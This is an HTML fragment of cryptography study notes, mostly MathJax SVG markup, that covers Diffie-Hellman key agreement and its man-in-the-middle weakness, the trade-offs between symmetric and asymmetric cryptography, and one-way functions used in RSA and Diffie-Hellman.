27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path><path stroke-width="0" id="E89-MJMAIN-6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path stroke-width="0" id="E89-MJMAIN-6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z"></path><path stroke-width="0" id="E89-MJMATHI-70" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 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xlink:href="#E89-MJMAIN-64" x="2448" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMAIN-3D" x="3281" y="0"></use><g transform="translate(4337,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMATHI-42" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMATHI-61" x="1073" y="513"></use></g><g transform="translate(6403,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMAIN-6D"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMAIN-6F" x="833" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMAIN-64" x="1333" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E89-MJMATHI-70" x="8792" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-89">\text{Shared}=B^a\mod p</script></li><li>Server compute <span class="MathJax_Preview"></span><span class="MathJax_SVG" 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253T304 268H318V290Q318 324 312 340Q290 411 215 411Q197 411 181 410T156 406T148 403Q170 388 170 359Q170 334 154 320ZM126 106Q126 75 150 51T209 26Q247 26 276 49T315 109Q317 116 318 175Q318 233 317 233Q309 233 296 232T251 223T193 203T147 166T126 106Z"></path><path stroke-width="0" id="E90-MJMAIN-72" d="M36 46H50Q89 46 97 60V68Q97 77 97 91T98 122T98 161T98 203Q98 234 98 269T98 328L97 351Q94 370 83 376T38 385H20V408Q20 431 22 431L32 432Q42 433 60 434T96 436Q112 437 131 438T160 441T171 442H174V373Q213 441 271 441H277Q322 441 343 419T364 373Q364 352 351 337T313 322Q288 322 276 338T263 372Q263 381 265 388T270 400T273 405Q271 407 250 401Q234 393 226 386Q179 341 179 207V154Q179 141 179 127T179 101T180 81T180 66V61Q181 59 183 57T188 54T193 51T200 49T207 48T216 47T225 47T235 46T245 46H276V0H267Q249 3 140 3Q37 3 28 0H20V46H36Z"></path><path stroke-width="0" id="E90-MJMAIN-65" d="M28 218Q28 273 48 318T98 391T163 433T229 448Q282 448 320 430T378 380T406 316T415 245Q415 238 408 231H126V216Q126 68 226 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278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-53"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-68" x="556" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-61" x="1112" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-72" x="1612" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-65" x="2004" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-64" x="2448" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-3D" x="3281" y="0"></use><g transform="translate(4337,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMATHI-41" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMATHI-62" x="1060" y="513"></use></g><g transform="translate(6324,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-6D"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-6F" x="833" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMAIN-64" x="1333" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E90-MJMATHI-70" x="8713" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-90">\text{Shared}=A^b\mod p</script></li><li><strong>Shared</strong> is the same if all went good.</li><li>Now <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-91-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="6.977ex" height="2.065ex" viewBox="0 -776.4 3004 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E91-MJMAIN-53" d="M55 507Q55 590 112 647T243 704H257Q342 704 405 641L426 672Q431 679 436 687T446 700L449 704Q450 704 453 704T459 705H463Q466 705 472 699V462L466 456H448Q437 456 435 459T430 479Q413 605 329 646Q292 662 254 662Q201 662 168 626T135 542Q135 508 152 480T200 435Q210 431 286 412T370 389Q427 367 463 314T500 191Q500 110 448 45T301 -21Q245 -21 201 -4T140 27L122 41Q118 36 107 21T87 -7T78 -21Q76 -22 68 -22H64Q61 -22 55 -16V101Q55 220 56 222Q58 227 76 227H89Q95 221 95 214Q95 182 105 151T139 90T205 42T305 24Q352 24 386 62T420 155Q420 198 398 233T340 281Q284 295 266 300Q261 301 239 306T206 314T174 325T141 343T112 367T85 402Q55 451 55 507Z"></path><path stroke-width="0" id="E91-MJMAIN-68" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 124T102 167T103 217T103 272T103 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403Q170 388 170 359Q170 334 154 320ZM126 106Q126 75 150 51T209 26Q247 26 276 49T315 109Q317 116 318 175Q318 233 317 233Q309 233 296 232T251 223T193 203T147 166T126 106Z"></path><path stroke-width="0" id="E91-MJMAIN-72" d="M36 46H50Q89 46 97 60V68Q97 77 97 91T98 122T98 161T98 203Q98 234 98 269T98 328L97 351Q94 370 83 376T38 385H20V408Q20 431 22 431L32 432Q42 433 60 434T96 436Q112 437 131 438T160 441T171 442H174V373Q213 441 271 441H277Q322 441 343 419T364 373Q364 352 351 337T313 322Q288 322 276 338T263 372Q263 381 265 388T270 400T273 405Q271 407 250 401Q234 393 226 386Q179 341 179 207V154Q179 141 179 127T179 101T180 81T180 66V61Q181 59 183 57T188 54T193 51T200 49T207 48T216 47T225 47T235 46T245 46H276V0H267Q249 3 140 3Q37 3 28 0H20V46H36Z"></path><path stroke-width="0" id="E91-MJMAIN-65" d="M28 218Q28 273 48 318T98 391T163 433T229 448Q282 448 320 430T378 380T406 316T415 245Q415 238 408 231H126V216Q126 68 226 36Q246 30 270 30Q312 30 342 62Q359 79 369 104L379 128Q382 131 395 131H398Q415 131 415 121Q415 117 412 108Q393 53 349 21T250 -11Q155 -11 92 58T28 218ZM333 275Q322 403 238 411H236Q228 411 220 410T195 402T166 381T143 340T127 274V267H333V275Z"></path><path stroke-width="0" id="E91-MJMAIN-64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-53"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-68" x="556" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-61" x="1112" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-72" x="1612" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-65" x="2004" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E91-MJMAIN-64" x="2448" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-91">\text{Shared}</script> is known to both, but it was never sent, so it's private.</li></ul><p>This is generally used on another bulk algorithm.</p><p>DH weakness is <strong>MITM</strong> (Man In The Middle), acting as a Server for the True Client and as a Client for the True Server, simultaneously.</p></blockquote></li><li><p>Explain advantages and disadvantages of symmetric and asymmetric cryptography</p><blockquote><p><strong>Symmetric cryptography</strong></p><p>Pros</p><ul><li>It's faster.</li></ul><p>Cons</p><ul><li>If someone intercept the key, it's all useless, so you can't use untrusted communication channel.</li><li>You can't verify who sent you the information.</li></ul><p><strong>Asymmetric Cryptography</strong></p><p>Pros</p><ul><li>Can be used on untrusted channel.</li><li>You can verify the integrity of the message with a signature.</li></ul><p>Cons</p><ul><li>You still can't associate real identities with public keys, you have to use certificates.</li><li>It's slower.</li><li>Diffie Hellman is MITMable.</li></ul></blockquote></li><li><p>Explain the concept of "One-way function" and how it's used in RSA and Diffie-Hellman</p><blockquote><p><strong>One Way Functions</strong>:</p><ul><li><p>Moltiplication is <strong>easy to compute</strong>, Factorization is <strong>hard to compute</strong>:</p><p>Moltiplication: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-92-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="12.904ex" height="2.065ex" viewBox="0 -776.4 5556 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E92-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E92-MJMAIN-33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path stroke-width="0" id="E92-MJMAIN-22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z"></path><path stroke-width="0" id="E92-MJMAIN-37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path><path stroke-width="0" id="E92-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E92-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-33" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-22C5" x="1222" y="0"></use><g transform="translate(1722,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-37" x="500" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-3D" x="3000" y="0"></use><g transform="translate(4056,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-32"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E92-MJMAIN-31" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-92">13\cdot 17 = 221</script></p><p>Factorization: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-93-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="8.774ex" height="1.936ex" viewBox="0 -776.4 3777.8 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E93-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path stroke-width="0" id="E93-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E93-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E93-MJMAIN-3F" d="M226 668Q190 668 162 656T124 632L114 621Q116 621 119 620T130 616T145 607T157 591T162 567Q162 544 147 529T109 514T71 528T55 566Q55 625 100 661T199 704Q201 704 210 704T224 705H228Q281 705 320 692T378 656T407 612T416 567Q416 503 361 462Q267 395 247 303Q242 279 242 241V224Q242 205 239 202T222 198T205 201T202 218V249Q204 320 220 371T255 445T292 491T315 537Q317 546 317 574V587Q317 604 315 615T304 640T277 661T226 668ZM162 61Q162 89 180 105T224 121Q247 119 264 104T281 61Q281 31 264 16T222 1Q197 1 180 16T162 61Z"></path><path stroke-width="0" id="E93-MJMAIN-22C5" d="M78 250Q78 274 95 292T138 310Q162 310 180 294T199 251Q199 226 182 208T139 190T96 207T78 250Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-32"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-31" x="1000" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3D" x="1777" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3F" x="2555" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-22C5" x="3027" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E93-MJMAIN-3F" x="3305" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-93">221 = ? \cdot ?</script></p></li><li><p>Exponentiation is <strong>easy to compute</strong>, Finding <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-94-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="2.968ex" height="2.45ex" viewBox="0 -776.4 1278 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E94-MJMAIN-6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z"></path><path stroke-width="0" id="E94-MJMAIN-6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z"></path><path stroke-width="0" id="E94-MJMAIN-67" d="M329 409Q373 453 429 453Q459 453 472 434T485 396Q485 382 476 371T449 360Q416 360 412 390Q410 404 415 411Q415 412 416 414V415Q388 412 363 393Q355 388 355 386Q355 385 359 381T368 369T379 351T388 325T392 292Q392 230 343 187T222 143Q172 143 123 171Q112 153 112 133Q112 98 138 81Q147 75 155 75T227 73Q311 72 335 67Q396 58 431 26Q470 -13 470 -72Q470 -139 392 -175Q332 -206 250 -206Q167 -206 107 -175Q29 -140 29 -75Q29 -39 50 -15T92 18L103 24Q67 55 67 108Q67 155 96 193Q52 237 52 292Q52 355 102 398T223 442Q274 442 318 416L329 409ZM299 343Q294 371 273 387T221 404Q192 404 171 388T145 343Q142 326 142 292Q142 248 149 227T179 192Q196 182 222 182Q244 182 260 189T283 207T294 227T299 242Q302 258 302 292T299 343ZM403 -75Q403 -50 389 -34T348 -11T299 -2T245 0H218Q151 0 138 -6Q118 -15 107 -34T95 -74Q95 -84 101 -97T122 -127T170 -155T250 -167Q319 -167 361 -139T403 -75Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-6C"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-6F" x="278" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E94-MJMAIN-67" x="778" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-94">\log</script> is <strong>hard to compute</strong>:</p><p>Exponentiation: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-95-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="14.27ex" height="2.45ex" viewBox="0 -942.4 6144.1 1055" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E95-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E95-MJMATHI-79" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path><path stroke-width="0" id="E95-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E95-MJMAIN-35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E95-MJMAIN-33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path stroke-width="0" id="E95-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E95-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMATHI-78" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMATHI-79" x="808" y="513"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-3D" x="1301" y="0"></use><g transform="translate(2356,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-35" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-33" x="707" y="555"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-3D" x="3588" y="0"></use><g transform="translate(4644,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E95-MJMAIN-35" x="1000" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-95">x^y=5^3=125</script></p><p>Log: <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-96-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="12.263ex" height="2.579ex" viewBox="0 -776.4 5279.7 1110.3" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E96-MJMAIN-6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 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343Q294 371 273 387T221 404Q192 404 171 388T145 343Q142 326 142 292Q142 248 149 227T179 192Q196 182 222 182Q244 182 260 189T283 207T294 227T299 242Q302 258 302 292T299 343ZM403 -75Q403 -50 389 -34T348 -11T299 -2T245 0H218Q151 0 138 -6Q118 -15 107 -34T95 -74Q95 -84 101 -97T122 -127T170 -155T250 -167Q319 -167 361 -139T403 -75Z"></path><path stroke-width="0" id="E96-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 